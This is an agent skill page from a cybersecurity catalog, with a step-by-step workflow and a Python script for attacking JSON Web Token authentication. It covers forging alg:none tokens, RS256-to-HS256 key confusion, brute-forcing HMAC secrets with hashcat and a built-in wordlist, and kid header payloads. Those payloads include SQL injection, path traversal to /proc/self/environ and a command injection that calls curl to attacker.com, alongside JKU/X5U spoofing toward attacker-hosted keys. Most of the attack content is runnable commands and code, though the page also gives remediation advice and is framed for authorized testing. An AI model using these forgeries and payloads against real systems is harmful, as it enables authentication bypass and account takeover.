Install this skill
npx skills add mukul975/Anthropic-Cybersecurity-SkillsFramework mappings
MITRE ATT&CK
When to Use
- When testing applications using JWT for authentication and session management
- During API security assessments where JWTs are used for authorization
- When evaluating OAuth 2.0 or OpenID Connect implementations using JWT
- During penetration testing of single sign-on (SSO) systems
- When auditing JWT library configurations for known vulnerabilities
Prerequisites
- jwt_tool (Python JWT exploitation toolkit)
- Burp Suite with JWT Editor extension
- jwt.io for decoding and inspecting JWT structure
- Understanding of JWT structure (header.payload.signature) and algorithms (HS256, RS256)
- hashcat or john for brute-forcing weak JWT secrets
- Python PyJWT library for custom JWT forging scripts
- Access to application using JWT-based authentication
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Decode and Analyze JWT Structure
# Install jwt_tool
pip install pyjwt
git clone https://github.com/ticarpi/jwt_tool.git
# Decode JWT without verification
python3 jwt_tool.py <JWT_TOKEN>
# Decode manually with base64
echo "<header_base64>" | base64 -d
echo "<payload_base64>" | base64 -d
# Examine JWT in jwt.io
# Check: algorithm (alg), key ID (kid), issuer (iss), audience (aud)
# Check: expiration (exp), not-before (nbf), claims (role, admin, etc.)
# Example JWT header inspection
# {"alg":"RS256","typ":"JWT","kid":"key-1"}
# Look for: alg, kid, jku, jwk, x5u, x5c headersStep 2 — Test "None" Algorithm Bypass
# Change algorithm to "none" and remove signature
python3 jwt_tool.py <JWT_TOKEN> -X a
# Manual none algorithm attack:
# Original header: {"alg":"HS256","typ":"JWT"}
# Modified header: {"alg":"none","typ":"JWT"}
# Encode new header, keep payload, remove signature (empty string after last dot)
# Variations to try:
# "alg": "none"
# "alg": "None"
# "alg": "NONE"
# "alg": "nOnE"
# Send forged token
curl -H "Authorization: Bearer <FORGED_TOKEN>" http://target.com/api/admin
# jwt_tool automated none attack
python3 jwt_tool.py <JWT_TOKEN> -X a -I -pc role -pv adminStep 3 — Test Algorithm Confusion (RS256 to HS256)
# If server uses RS256, attempt to switch to HS256 using public key as HMAC secret
# Step 1: Obtain the public key
# From JWKS endpoint
curl http://target.com/.well-known/jwks.json
# From SSL certificate
openssl s_client -connect target.com:443 </dev/null 2>/dev/null | \
openssl x509 -pubkey -noout > public_key.pem
# Step 2: Forge token using public key as HMAC secret
python3 jwt_tool.py <JWT_TOKEN> -X k -pk public_key.pem
# Manual algorithm confusion:
# Change header from {"alg":"RS256"} to {"alg":"HS256"}
# Sign with public key using HMAC-SHA256
python3 -c "
import jwt
with open('public_key.pem', 'r') as f:
public_key = f.read()
payload = {'sub': 'admin', 'role': 'admin', 'iat': 1700000000, 'exp': 1900000000}
token = jwt.encode(payload, public_key, algorithm='HS256')
print(token)
"Step 4 — Test Key ID (kid) Parameter Injection
# SQL Injection via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "' UNION SELECT 'secret-key' FROM dual--" \
-S hs256 -p "secret-key"
# Path Traversal via kid
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "../../dev/null" \
-S hs256 -p ""
# Kid pointing to empty file (sign with empty string)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "/dev/null" -S hs256 -p ""
# SSRF via kid (if kid fetches remote key)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "http://attacker.com/key"
# Command injection via kid (rare but possible)
python3 jwt_tool.py <JWT_TOKEN> -I -hc kid -hv "key1|curl attacker.com"Step 5 — Test JKU/X5U Header Injection
# JKU (JSON Web Key Set URL) injection
# Point jku to attacker-controlled JWKS
# Step 1: Generate key pair
python3 jwt_tool.py <JWT_TOKEN> -X s
# Step 2: Host JWKS on attacker server
# jwt_tool generates jwks.json - host it at http://attacker.com/.well-known/jwks.json
# Step 3: Modify JWT header to point to attacker JWKS
python3 jwt_tool.py <JWT_TOKEN> -X s -ju "http://attacker.com/.well-known/jwks.json"
# X5U (X.509 certificate URL) injection
# Similar to JKU but using X.509 certificate chain
python3 jwt_tool.py <JWT_TOKEN> -I -hc x5u -hv "http://attacker.com/cert.pem"
# Embedded JWK attack (inject key in JWT header itself)
python3 jwt_tool.py <JWT_TOKEN> -X iStep 6 — Brute-Force Weak JWT Secrets
# Brute-force HMAC secret with hashcat
hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt
# Using jwt_tool wordlist attack
python3 jwt_tool.py <JWT_TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# Using john the ripper
echo "<JWT_TOKEN>" > jwt.txt
john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256
# Common weak secrets to try:
# secret, password, 123456, admin, test, key, jwt_secret
# Also try: application name, company name, domain name
# Once secret is found, forge arbitrary tokens
python3 jwt_tool.py <JWT_TOKEN> -S hs256 -p "discovered_secret" \
-I -pc role -pv admin -pc sub -pv "admin@target.com"Key Concepts
| Concept | Description |
|---|---|
| Algorithm Confusion | Switching from asymmetric (RS256) to symmetric (HS256) using public key as secret |
| None Algorithm | Setting alg to "none" to create unsigned tokens accepted by misconfigured servers |
| Kid Injection | Exploiting the Key ID header parameter for SQLi, path traversal, or SSRF |
| JKU/X5U Injection | Pointing key source URLs to attacker-controlled servers for key substitution |
| Weak Secret | HMAC secrets that can be brute-forced using dictionary attacks |
| Claim Tampering | Modifying payload claims (role, sub, admin) after bypassing signature verification |
| Token Replay | Reusing valid JWTs after the intended session should have expired |
Tools & Systems
| Tool | Purpose |
|---|---|
| jwt_tool | Comprehensive JWT testing and exploitation toolkit |
| JWT Editor (Burp) | Burp Suite extension for JWT manipulation and attack automation |
| hashcat | GPU-accelerated JWT secret brute-forcing (mode 16500) |
| john the ripper | CPU-based JWT secret cracking |
| jwt.io | Online JWT decoder and debugger for inspection |
| PyJWT | Python library for programmatic JWT creation and verification |
Common Scenarios
- None Algorithm Bypass — Change JWT algorithm to "none", remove signature, and forge admin tokens on servers that accept unsigned JWTs
- Algorithm Confusion RCE — Switch RS256 to HS256 using leaked public key to forge arbitrary tokens for administrative access
- Kid SQL Injection — Inject SQL payload in kid parameter to extract the signing key from the database
- Weak Secret Cracking — Brute-force HMAC-SHA256 secrets using hashcat to forge arbitrary JWTs for any user
- JKU Server Spoofing — Point JKU header to attacker-controlled JWKS endpoint to sign tokens with attacker's private key
Output Format
## JWT Security Assessment Report
- **Target**: http://target.com
- **JWT Algorithm**: RS256 (claimed)
- **JWKS Endpoint**: http://target.com/.well-known/jwks.json
### Findings
| # | Vulnerability | Technique | Impact | Severity |
|---|--------------|-----------|--------|----------|
| 1 | None algorithm accepted | alg: "none" | Auth bypass | Critical |
| 2 | Algorithm confusion | RS256 -> HS256 | Token forgery | Critical |
| 3 | Weak HMAC secret | Brute-force: "secret123" | Full token forgery | Critical |
| 4 | Kid path traversal | kid: "../../dev/null" | Sign with empty key | High |
### Remediation
- Enforce algorithm whitelist in JWT verification (reject "none")
- Use asymmetric algorithms (RS256/ES256) with proper key management
- Implement strong, random secrets for HMAC algorithms (256+ bits)
- Validate kid parameter against a strict allowlist
- Ignore jku/x5u headers or validate against known endpoints
- Set appropriate token expiration (exp) and implement token revocationSource materials
References and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md1.9 KB
API Reference: Testing for JSON Web Token Vulnerabilities
JWT Attack Types
| Attack | Severity | Description |
|---|---|---|
| alg:none bypass | Critical | Remove signature verification |
| Weak HMAC secret | Critical | Brute-force signing key |
| Algorithm confusion | Critical | RS256 -> HS256 with public key |
| kid injection | High | Path traversal/SQLi in kid |
| jku spoofing | High | Point JWKS to attacker server |
| Claim tampering | High | Modify role/sub without re-sign |
| Missing exp | High | Token never expires |
JWT Structure
| Part | Content | Example |
|---|---|---|
| Header | Algorithm, type, kid | {"alg":"HS256","typ":"JWT"} |
| Payload | Claims (sub, exp, iat, iss) | {"sub":"1001","role":"user"} |
| Signature | HMAC or RSA signature | Base64url encoded |
JWT Testing Tools
| Tool | Purpose |
|---|---|
| jwt_tool | 12+ attack modes for JWT testing |
| hashcat -m 16500 | GPU JWT HMAC secret cracking |
| Burp JWT Editor | Interactive JWT manipulation |
| jwt.io | Online JWT decoder |
| john | CPU-based JWT secret cracking |
Standard Claims
| Claim | Required | Purpose |
|---|---|---|
| iss | Yes | Issuer identifier |
| sub | Yes | Subject (user ID) |
| aud | Yes | Intended audience |
| exp | Yes | Expiration time |
| iat | Recommended | Issued at time |
| nbf | Optional | Not before time |
| jti | Optional | JWT ID (replay prevention) |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
base64 |
stdlib | JWT encoding/decoding |
hmac |
stdlib | HMAC signature generation |
hashlib |
stdlib | Hash functions |
json |
stdlib | JSON parsing |
requests |
>=2.28 | Token testing against APIs |
References
- jwt_tool: https://github.com/ticarpi/jwt_tool
- PortSwigger JWT: https://portswigger.net/web-security/jwt
- RFC 7519: https://www.rfc-editor.org/rfc/rfc7519
Scripts 1
agent.py7.9 KB
Display-only source. This catalog never executes bundled scripts.
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing JSON Web Token vulnerabilities.
Tests JWT implementations for algorithm confusion, none algorithm
bypass, weak HMAC secrets, kid injection, missing claims, and
token forgery to detect authentication bypass risks.
"""
import json
import base64
import hmac
import hashlib
import sys
from pathlib import Path
from datetime import datetime
try:
import requests
except ImportError:
requests = None
COMMON_SECRETS = [
"secret", "password", "123456", "jwt_secret", "supersecret",
"key", "changeme", "default", "your-256-bit-secret",
"my-secret-key", "jwt-secret", "s3cr3t", "secret123",
"apisecret", "qwerty", "letmein", "1234567890",
]
class JWTTestAgent:
"""Tests JWT implementations for security vulnerabilities."""
def __init__(self, base_url=None, output_dir="./jwt_test"):
self.base_url = base_url.rstrip("/") if base_url else None
self.output_dir = Path(output_dir)
self.output_dir.mkdir(parents=True, exist_ok=True)
self.findings = []
def decode_jwt(self, token):
"""Decode JWT header and payload without verification."""
parts = token.split(".")
if len(parts) != 3:
return None, None, None
def pad(s):
return s + "=" * (4 - len(s) % 4)
try:
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
except Exception:
return None, None, None
def analyze_token(self, token):
"""Analyze JWT for security issues."""
header, payload, sig = self.decode_jwt(token)
if not header:
return {"error": "Invalid JWT"}
issues = []
alg = header.get("alg", "")
if alg == "none":
issues.append({"severity": "critical", "issue": "alg set to 'none'"})
if alg in ("HS256", "HS384", "HS512"):
issues.append({"severity": "info", "issue": f"Symmetric {alg} - test for weak secrets"})
if "kid" in header:
issues.append({"severity": "info", "issue": f"kid present: {header['kid']} - test for injection"})
if "jku" in header:
issues.append({"severity": "medium", "issue": f"jku present: {header['jku']} - test JWKS spoofing"})
if "exp" not in payload:
issues.append({"severity": "high", "issue": "No expiration claim"})
if "iss" not in payload:
issues.append({"severity": "medium", "issue": "No issuer claim"})
if "aud" not in payload:
issues.append({"severity": "medium", "issue": "No audience claim"})
for i in issues:
self.findings.append({"severity": i["severity"], "type": "JWT Analysis", "detail": i["issue"]})
return {"header": header, "payload": payload, "issues": issues}
def test_none_algorithm(self, token):
"""Forge token with alg:none to bypass signature."""
header, payload, _ = self.decode_jwt(token)
if not header:
return []
header["alg"] = "none"
new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
parts = token.split(".")
variants = [
f"{new_header}.{parts[1]}.",
f"{new_header}.{parts[1]}.{parts[2]}",
f"{new_header}.{parts[1]}.e30",
]
results = []
if self.base_url and requests:
for v in variants:
resp = requests.get(f"{self.base_url}/users/me",
headers={"Authorization": f"Bearer {v}"}, timeout=10)
if resp.status_code == 200:
results.append({"variant": v[:60], "accepted": True})
self.findings.append({
"severity": "critical",
"type": "alg:none Bypass",
"detail": "Server accepts JWT with alg:none",
})
return variants
def brute_force_secret(self, token):
"""Brute-force HMAC secret against common passwords."""
header, _, _ = self.decode_jwt(token)
if not header or header.get("alg") not in ("HS256", "HS384", "HS512"):
return None
parts = token.split(".")
signing_input = f"{parts[0]}.{parts[1]}".encode()
signature = parts[2]
alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
h = alg_map[header["alg"]]
for secret in COMMON_SECRETS:
expected = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, h).digest()
).decode().rstrip("=")
if expected == signature:
self.findings.append({
"severity": "critical",
"type": "Weak JWT Secret",
"detail": f"Secret found: '{secret}'",
})
return secret
return None
def forge_token(self, token, claims_override, secret=None):
"""Forge a JWT with modified claims."""
header, payload, _ = self.decode_jwt(token)
if not header:
return None
payload.update(claims_override)
h_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).decode().rstrip("=")
p_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).decode().rstrip("=")
signing_input = f"{h_b64}.{p_b64}".encode()
if secret and header.get("alg") in ("HS256", "HS384", "HS512"):
alg_map = {"HS256": hashlib.sha256, "HS384": hashlib.sha384, "HS512": hashlib.sha512}
sig = base64.urlsafe_b64encode(
hmac.new(secret.encode(), signing_input, alg_map[header["alg"]]).digest()
).decode().rstrip("=")
return f"{h_b64}.{p_b64}.{sig}"
return f"{h_b64}.{p_b64}."
def test_kid_injection(self, token):
"""Test kid header parameter for injection."""
header, payload, _ = self.decode_jwt(token)
if not header or "kid" not in header:
return []
payloads = [
"../../dev/null",
"' UNION SELECT 'secret' --",
"/proc/self/environ",
]
results = []
for p in payloads:
results.append({"kid_payload": p, "test": "manual verification required"})
self.findings.append({
"severity": "medium",
"type": "kid Injection Candidates",
"detail": f"kid parameter present - test {len(payloads)} injection payloads",
})
return results
def generate_report(self, token=None):
analysis = None
secret = None
if token:
analysis = self.analyze_token(token)
secret = self.brute_force_secret(token)
self.test_none_algorithm(token)
self.test_kid_injection(token)
report = {
"report_date": datetime.utcnow().isoformat(),
"base_url": self.base_url,
"jwt_analysis": analysis,
"secret_found": secret,
"findings": self.findings,
"total_findings": len(self.findings),
}
out = self.output_dir / "jwt_test_report.json"
with open(out, "w") as f:
json.dump(report, f, indent=2)
print(json.dumps(report, indent=2))
return report
def main():
if len(sys.argv) < 2:
print("Usage: agent.py <jwt_token> [--url <base_url>]")
sys.exit(1)
token = sys.argv[1]
url = None
if "--url" in sys.argv:
url = sys.argv[sys.argv.index("--url") + 1]
agent = JWTTestAgent(url)
agent.generate_report(token)
if __name__ == "__main__":
main()
Keep exploring